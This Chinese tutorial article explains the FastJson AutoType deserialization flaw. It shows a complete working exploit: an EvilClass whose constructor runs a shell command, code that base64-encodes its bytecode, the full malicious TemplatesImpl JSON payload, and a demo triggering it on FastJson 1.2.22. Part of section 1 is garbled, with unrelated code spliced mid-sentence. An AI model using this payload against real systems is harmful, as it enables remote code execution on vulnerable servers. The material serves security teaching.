行业知识
FastJson中AutoType反序列化漏洞
文章目录
- 1、频繁出现的反序列化漏洞
- 2、parse()及parseObject()
- 3、AutoType及安全校验
- 3.1 AutoType安全校验
- 3.2 AutoType黑名单机制
- 3.3 SafeMode安全机制
- 3.4 攻击思路
- 4、反序列化攻击模拟
- 4.1 TemplatesImpl攻击调用链路
- 4.2 攻击类Translet生成
- 4.3 构造攻击JSON串
- 4.4 攻击模拟
- 5、修复���案
1、频繁出现的反序列化漏洞
Fastjson1.2.80 反序列化漏洞情报,攻击者可以利用该漏洞攻击远程服务器,
可能会造成任意命令执行。在Fastjson private static final long serialVersionUID = -8088742348807697485L; private String userName; public User() { System.out.println("call construct method"); } public String getUserName() { System.out.println("call get method getUserName"); return userName; } public void setUserName(String userName) { System.out.println("call set method setUserName"); this.userName = userName; }} String userJson = "{\"@type\":\"com.company.project.bean.User\",\"userName\":\"testUserName\"}"; //parseObject测试 Object object1 = JSON.parseObject(userJson); System.out.println("============="); //parse Object object2 = JSON.parse(userJson); }, int)中
3.4 攻击思路
现在回头再看一眼漏洞描述,问题是不是就很清晰了,漏洞在两种情况下容易被利用:
1、执行AutoType安全校验,但新发现了一个黑名单中不存在的Class,利用该Class反序列化时执行的恶意代码进行攻击;
2、通过某种方法,绕过AutoType安全校验;
4、反序列化攻击模拟
为了方便演示漏洞,下文采用的FastJson版本为1.2.22(高版本中已通过黑名单机制屏蔽该漏洞)。演示利用一个黑名单中不存在的Class(在上文指定的FastJSON 1.2.22版本中还未屏蔽这个风险类)来执行攻击
4.1 TemplatesImpl攻击调用链路
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl是历史上出现过存在FastJson反序列漏洞的一个第三方类,上文已经提到过,JSON串中传入指定类型Class时,调用parseObject方法反序列时会调用该Class的get、set及构造方法,那么如果指定JSON串中type为TemplatesImpl时
- TemplatesImpl中存在一个get方法为getOutputProperties(),其在调用FastJson.parseObject()序列化为Java对象时会被调用
- getOutputProperties内部调用了newTransformer()方法,newTransformer()内部调用了getTransletInstance()方法获取Translet对象
- 获取Translet对象时,其通过内部的私有变量_bytecodes生成返回的Translet对象
这里这个_bytecodes私有变量就是整个攻击设计的核心所在,虽然FastJson默认只能反序列化公有属性,但是可以在JSON串中指定_bytecodes为我们恶意攻击类的字节码,同时调用JSON.parseObject(json, Object.class, Feature.SupportNonPublicField)来反序列化私有属性,那么_bytecodes就可以是任意指定代码
也就是说,如果事先定义好了Translet返回Class类的内容,并且在自定义的Translet类的构造函数中实现攻击代码,并且把攻击代码转化成字节码,传入TemplatesImpl的私有变量_bytecodes中,那么反序列化生成TemplatesImpl时就会使用我们自定义的字节码来生成Translet类,从而触发Translet构造函数中的攻击代码
所以攻击思路很明显了,分为三步:
- 自定义Translet攻击类,在构造函数中实现攻击代码
- 根据步骤1生成的字节码来构造攻击JSON串
- 调用JSON.parseObject(json, Object.class,
Feature.SupportNonPublicField);反序列化对象从而触发攻击,这里必须使用支持私有变量反序列化的Feature,虽然条件有点苛刻,但这只是众多攻击链路中较为易懂的一种
4.2 攻击类Translet生成
定义如下攻击类EvilClass,继承自AbstractTranslet,在构造函数中写入自己的攻击代码,这里演示只做新增一个文件的操作
package com.company.project.bean; import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class EvilClass extends AbstractTranslet { public EvilClass() throws IOException { namesArray = new String[]{"1", "2"}; //简单模拟攻击代码操作,生成一个txt文件 Runtime.getRuntime().exec("/usr/bin/touch /tmp/evilAttack.txt"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } }4.3 构造攻击JSON串
然后将编译后的.class字节码文件进行base64编码,最后使用生成的字节码的base64编码来生成攻击JSON串
FastJson提取byte[]数组字段值时会进行Base64解码,所以我们构造payload时需要对 _bytecodes 进行Base64处理
public static void test_autoTypeDeny() throws Exception { final String evilClassPath = "/Users/didi/IdeaProjects/spring-boot-api-project-seed/target/classes/com/company/project/bean/EvilClass.class"; String evilCode = readClass(evilClassPath); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," + "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n"; System.out.println(text1); }最后,完整的恶意JSON串如下
{ "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes":[ "yv66vgAAADQANgoACgAiBwAjCAAkCAAlCQAJACYKACcAKAgAKQoAJwAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACRMY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzczsBAApFeGNlcHRpb25zBwAtAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAuAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAALAAwBABBqYXZhL2xhbmcvU3RyaW5nAQABMQEAATIMAC8AMAcAMQwAMgAzAQAiL3Vzci9iaW4vdG91Y2ggL3RtcC9ldmlsQXR0YWNrLnR4dAwANAA1AQAiY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAKbmFtZXNBcnJheQEAE1tMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAADAAEACwAMAAIADQAAAFYABQABAAAAICq3AAEqBb0AAlkDEgNTWQQSBFO1AAW4AAYSB7YACFexAAAAAgAOAAAAEgAEAAAADQAEAA4AFgAQAB8AEQAPAAAADAABAAAAIAAQABEAAAASAAAABAABABMAAQAUABUAAQANAAAASQAAAAQAAAABsQAAAAIADgAAAAYAAQAAABUADwAAACoABAAAAAEAEAARAAAAAAABABYAFwABAAAAAQAYABkAAgAAAAEAGgAbAAMAAQAUABwAAgANAAAAPwAAAAMAAAABsQAAAAIADgAAAAYAAQAAABkADwAAACAAAwAAAAEAEAARAAAAAAABABYAFwABAAAAAQAdAB4AAgASAAAABAABAB8AAQAgAAAAAgAh"], '_name':'a.b', '_tfactory':{ }, "_outputProperties":{ }, "_name":"a", "_version":"1.0", "allowedProtocols":"all"}这个JSON串中最核心的部分是_bytecodes,它是要执行的恶意字节码的base64编码,@type是指定的解析类,至于_name、_outputProperties等属性都是TemplatesImpl的私有变量,为了避免反序列化时报错,随意传入一个值
4.4 攻击模拟
现在假设系统接收到了上述构造的恶意JSON串,调用FastJSON的反序列化操作,如下所示,在反序列化操作的前后分别打印文件是否存在,以此来印证攻击代码(简单的生成一个文件)是否生效
public static void main(String[] args) { String json = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQANgoACgAiBwAjCAAkCAAlCQAJACYKACcAKAgAKQoAJwAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACRMY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzczsBAApFeGNlcHRpb25zBwAtAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAuAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAALAAwBABBqYXZhL2xhbmcvU3RyaW5nAQABMQEAATIMAC8AMAcAMQwAMgAzAQAiL3Vzci9iaW4vdG91Y2ggL3RtcC9ldmlsQXR0YWNrLnR4dAwANAA1AQAiY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAKbmFtZXNBcnJheQEAE1tMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAADAAEACwAMAAIADQAAAFYABQABAAAAICq3AAEqBb0AAlkDEgNTWQQSBFO1AAW4AAYSB7YACFexAAAAAgAOAAAAEgAEAAAADQAEAA4AFgAQAB8AEQAPAAAADAABAAAAIAAQABEAAAASAAAABAABABMAAQAUABUAAQANAAAASQAAAAQAAAABsQAAAAIADgAAAAYAAQAAABUADwAAACoABAAAAAEAEAARAAAAAAABABYAFwABAAAAAQAYABkAAgAAAAEAGgAbAAMAAQAUABwAAgANAAAAPwAAAAMAAAABsQAAAAIADgAAAAYAAQAAABkADwAAACAAAwAAAAEAEAARAAAAAAABABYAFwABAAAAAQAdAB4AAgASAAAABAABAB8AAQAgAAAAAgAh\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ },\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}"; //开启autoType支持 File fileBeforeAttack = new File("/tmp/evilAttack.txt"); System.out.println("before JSON.parseObject:"+fileBeforeAttack.exists()); //反序列化传入的攻击json串 Object obj = JSON.parseObject(json, Object.class, Feature.SupportNonPublicField); File fileAfterAttack = new File("/tmp/evilAttack.txt"); System.out.println("after JSON.parseObject:"+fileAfterAttack.exists()); }执行后命令行中输出如下,说明我们构造的恶意代码被成功执行
最后debug到恶意代码执行处,看下反序列化时的调用链路,如图所示
最底层触发的入口为JSON.parseObject,后面反序列化时调用TemplatesImpl#getOutProperties方法,最终使用TemplatesImpl类内部私有的_bytecodes生成我们自定义的攻击Class,从触发到自定义类的构造函数中的恶意代码。
当然Fastjson在高版本中已经采用了黑名单机制来屏蔽了TemplatesImpl类
不管如何,我们在使用开源的第三方库时,需关注官方的版本迭代,防止潜在的漏洞产生危害
5、修复方案
你用别人的东西,能咋办,升级啊。。。
+v:HuohuyunSec (https://huohuyun.net/)
上一篇:如何完成域名和ip地址的绑定
下一篇:电脑怎么配成服务器吗?